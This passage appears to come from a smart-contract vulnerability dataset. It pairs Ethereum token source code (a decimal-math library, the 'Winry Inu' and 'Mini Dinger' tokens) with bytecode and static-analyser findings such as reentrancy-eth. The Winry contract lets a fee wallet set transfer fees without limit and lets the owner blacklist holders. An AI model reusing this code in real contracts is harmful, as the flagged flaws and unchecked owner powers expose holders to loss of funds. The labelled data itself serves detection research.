percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @dev Round down the value with given number */ function roundDownDecimal(uint x, uint d) internal pure returns (uint) { return x.div(10**d).mul(10**d); } /** * @dev Round up the value with given number */ function roundUpDecimal(uint x, uint d) internal pure returns (uint) { uint _decimal = 10**d; if (x % _decimal > 0) { x = x.add(10**d); } return x.div(_decimal).mul(_decimal); } }
0x736e0bff12512a94f3b1ecebe08203fe7f8f8fae64301460806040526004361060655760003560e01c8063313ce56714606a578063864029e7146086578063907af6c014609e5780639d8e21771460a4578063d5e5e6e61460aa578063def4419d1460b0575b600080fd5b607060b6565b6040805160ff9092168252519081900360200190f35b608c60bb565b60408051918252519081900360200190f35b608c60cb565b608c60d7565b608c60e3565b607060f3565b601281565b6b033b2e3c9fd0803ce800000081565b670de0b6b3a764000090565b670de0b6b3a764000081565b6b033b2e3c9fd0803ce800000090565b601b8156fea265627a7a72315820d7f3502142580fd75b2632f81cf1700dca68da475ee49c13fb0acd93fabaa19964736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,139
0x1a87077c4f834884691b8ba4fc808d2ec93a9f30
/** *Submitted for verification at Etherscan.io on 2021-10-16 */ /** * Watch Winry Take Over The SCENE * https://t.me/winryinu **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WinryInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x8743CEf80123a367b1Ca7443AA44C8B09B52DbD7); address payable private _feeAddrWallet2 = payable(0xF7bF4F9FF7c183D67095676DeAe715222D78a8Aa); string private constant _name = "Winry Inu"; string private constant _symbol = "WINRY"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031f578063c3c8cd801461033f578063c9567bf914610354578063cfe81ba014610369578063dd62ed3e1461038957600080fd5b8063715018a614610274578063842b7c08146102895780638da5cb5b146102a957806395d89b41146102d1578063a9059cbb146102ff57600080fd5b8063273123b7116100e7578063273123b7146101e1578063313ce567146102035780635932ead11461021f5780636fc3eaec1461023f57806370a082311461025457600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600981526857696e727920496e7560b81b60208201525b60405161015f919061187b565b60405180910390f35b34801561017457600080fd5b50610188610183366004611702565b6103cf565b604051901515815260200161015f565b3480156101a457600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015f565b3480156101cd57600080fd5b506101886101dc3660046116c1565b6103e6565b3480156101ed57600080fd5b506102016101fc36600461164e565b61044f565b005b34801561020f57600080fd5b506040516009815260200161015f565b34801561022b57600080fd5b5061020161023a3660046117fa565b6104a3565b34801561024b57600080fd5b506102016104eb565b34801561026057600080fd5b506101b361026f36600461164e565b610518565b34801561028057600080fd5b5061020161053a565b34801561029557600080fd5b506102016102a4366004611834565b6105ae565b3480156102b557600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102dd57600080fd5b5060408051808201909152600581526457494e525960d81b6020820152610152565b34801561030b57600080fd5b5061018861031a366004611702565b610605565b34801561032b57600080fd5b5061020161033a36600461172e565b610612565b34801561034b57600080fd5b506102016106a8565b34801561036057600080fd5b506102016106de565b34801561037557600080fd5b50610201610384366004611834565b610aa7565b34801561039557600080fd5b506101b36103a4366004611688565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103dc338484610afe565b5060015b92915050565b60006103f3848484610c22565b610445843361044085604051806060016040528060288152602001611a67602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f05565b610afe565b5060019392505050565b6000546001600160a01b031633146104825760405162461bcd60e51b8152600401610479906118d0565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cd5760405162461bcd60e51b8152600401610479906118d0565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050b57600080fd5b4761051581610f3f565b50565b6001600160a01b0381166000908152600260205260408120546103e090610fc4565b6000546001600160a01b031633146105645760405162461bcd60e51b8152600401610479906118d0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106005760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600a55565b60006103dc338484610c22565b6000546001600160a01b0316331461063c5760405162461bcd60e51b8152600401610479906118d0565b60005b81518110156106a45760016006600084848151811061066057610660611a17565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069c816119e6565b91505061063f565b5050565b600c546001600160a01b0316336001600160a01b0316146106c857600080fd5b60006106d330610518565b905061051581611048565b6000546001600160a01b031633146107085760405162461bcd60e51b8152600401610479906118d0565b600f54600160a01b900460ff16156107625760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a230826b033b2e3c9fd0803ce8000000610afe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107db57600080fd5b505afa1580156107ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610813919061166b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085b57600080fd5b505afa15801561086f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610893919061166b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108db57600080fd5b505af11580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610913919061166b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094381610518565b6000806109586000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bb57600080fd5b505af11580156109cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f4919061184d565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6f57600080fd5b505af1158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a49190611817565b600d546001600160a01b0316336001600160a01b031614610af95760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600b55565b6001600160a01b038316610b605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610bc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610ce85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b60008111610d4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b6000546001600160a01b03848116911614801590610d7657506000546001600160a01b03838116911614155b15610ef5576001600160a01b03831660009081526006602052604090205460ff16158015610dbd57506001600160a01b03821660009081526006602052604090205460ff16155b610dc657600080fd5b600f546001600160a01b038481169116148015610df15750600e546001600160a01b03838116911614155b8015610e1657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2b5750600f54600160b81b900460ff165b15610e8857601054811115610e3f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6357600080fd5b610e6e42601e611976565b6001600160a01b0383166000908152600760205260409020555b6000610e9330610518565b600f54909150600160a81b900460ff16158015610ebe5750600f546001600160a01b03858116911614155b8015610ed35750600f54600160b01b900460ff165b15610ef357610ee181611048565b478015610ef157610ef147610f3f565b505b505b610f008383836111d1565b505050565b60008184841115610f295760405162461bcd60e51b8152600401610479919061187b565b506000610f3684866119cf565b95945050505050565b600c546001600160a01b03166108fc610f598360026111dc565b6040518115909202916000818181858888f19350505050158015610f81573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9c8360026111dc565b6040518115909202916000818181858888f193505050501580156106a4573d6000803e3d6000fd5b600060085482111561102b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610479565b600061103561121e565b905061104183826111dc565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109057611090611a17565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e457600080fd5b505afa1580156110f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111c919061166b565b8160018151811061112f5761112f611a17565b6001600160a01b039283166020918202929092010152600e546111559130911684610afe565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118e908590600090869030904290600401611905565b600060405180830381600087803b1580156111a857600080fd5b505af11580156111bc573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f00838383611241565b600061104183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611338565b600080600061122b611366565b909250905061123a82826111dc565b9250505090565b600080600080600080611253876113ae565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611285908761140b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b4908661144d565b6001600160a01b0389166000908152600260205260409020556112d6816114ac565b6112e084836114f6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132591815260200190565b60405180910390a3505050505050505050565b600081836113595760405162461bcd60e51b8152600401610479919061187b565b506000610f36848661198e565b60085460009081906b033b2e3c9fd0803ce800000061138582826111dc565b8210156113a5575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cb8a600a54600b5461151a565b92509250925060006113db61121e565b905060008060006113ee8e87878761156f565b919e509c509a509598509396509194505050505091939550919395565b600061104183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f05565b60008061145a8385611976565b9050838110156110415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b60006114b661121e565b905060006114c483836115bf565b306000908152600260205260409020549091506114e1908261144d565b30600090815260026020526040902055505050565b600854611503908361140b565b600855600954611513908261144d565b6009555050565b6000808080611534606461152e89896115bf565b906111dc565b90506000611547606461152e8a896115bf565b9050600061155f826115598b8661140b565b9061140b565b9992985090965090945050505050565b600080808061157e88866115bf565b9050600061158c88876115bf565b9050600061159a88886115bf565b905060006115ac82611559868661140b565b939b939a50919850919650505050505050565b6000826115ce575060006103e0565b60006115da83856119b0565b9050826115e7858361198e565b146110415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b803561164981611a43565b919050565b60006020828403121561166057600080fd5b813561104181611a43565b60006020828403121561167d57600080fd5b815161104181611a43565b6000806040838503121561169b57600080fd5b82356116a681611a43565b915060208301356116b681611a43565b809150509250929050565b6000806000606084860312156116d657600080fd5b83356116e181611a43565b925060208401356116f181611a43565b929592945050506040919091013590565b6000806040838503121561171557600080fd5b823561172081611a43565b946020939093013593505050565b6000602080838503121561174157600080fd5b823567ffffffffffffffff8082111561175957600080fd5b818501915085601f83011261176d57600080fd5b81358181111561177f5761177f611a2d565b8060051b604051601f19603f830116810181811085821117156117a4576117a4611a2d565b604052828152858101935084860182860187018a10156117c357600080fd5b600095505b838610156117ed576117d98161163e565b8552600195909501949386019386016117c8565b5098975050505050505050565b60006020828403121561180c57600080fd5b813561104181611a58565b60006020828403121561182957600080fd5b815161104181611a58565b60006020828403121561184657600080fd5b5035919050565b60008060006060848603121561186257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a85785810183015185820160400152820161188c565b818111156118ba576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119555784516001600160a01b031683529383019391830191600101611930565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198957611989611a01565b500190565b6000826119ab57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119ca576119ca611a01565b500290565b6000828210156119e1576119e1611a01565b500390565b60006000198214156119fa576119fa611a01565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051557600080fd5b801515811461051557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f4be87e141cf53ece3a10cfd5d4373adce5b3d32d9ce04420656f0f915e3dee864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,140
0xfdf10a19d44badd7a864450fb3184f4863ff354f
//Telegram https://t.me/minidingereth // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MiniDinger is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Mini Dinger"; string private constant _symbol = "MINIDINGER"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 8; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, 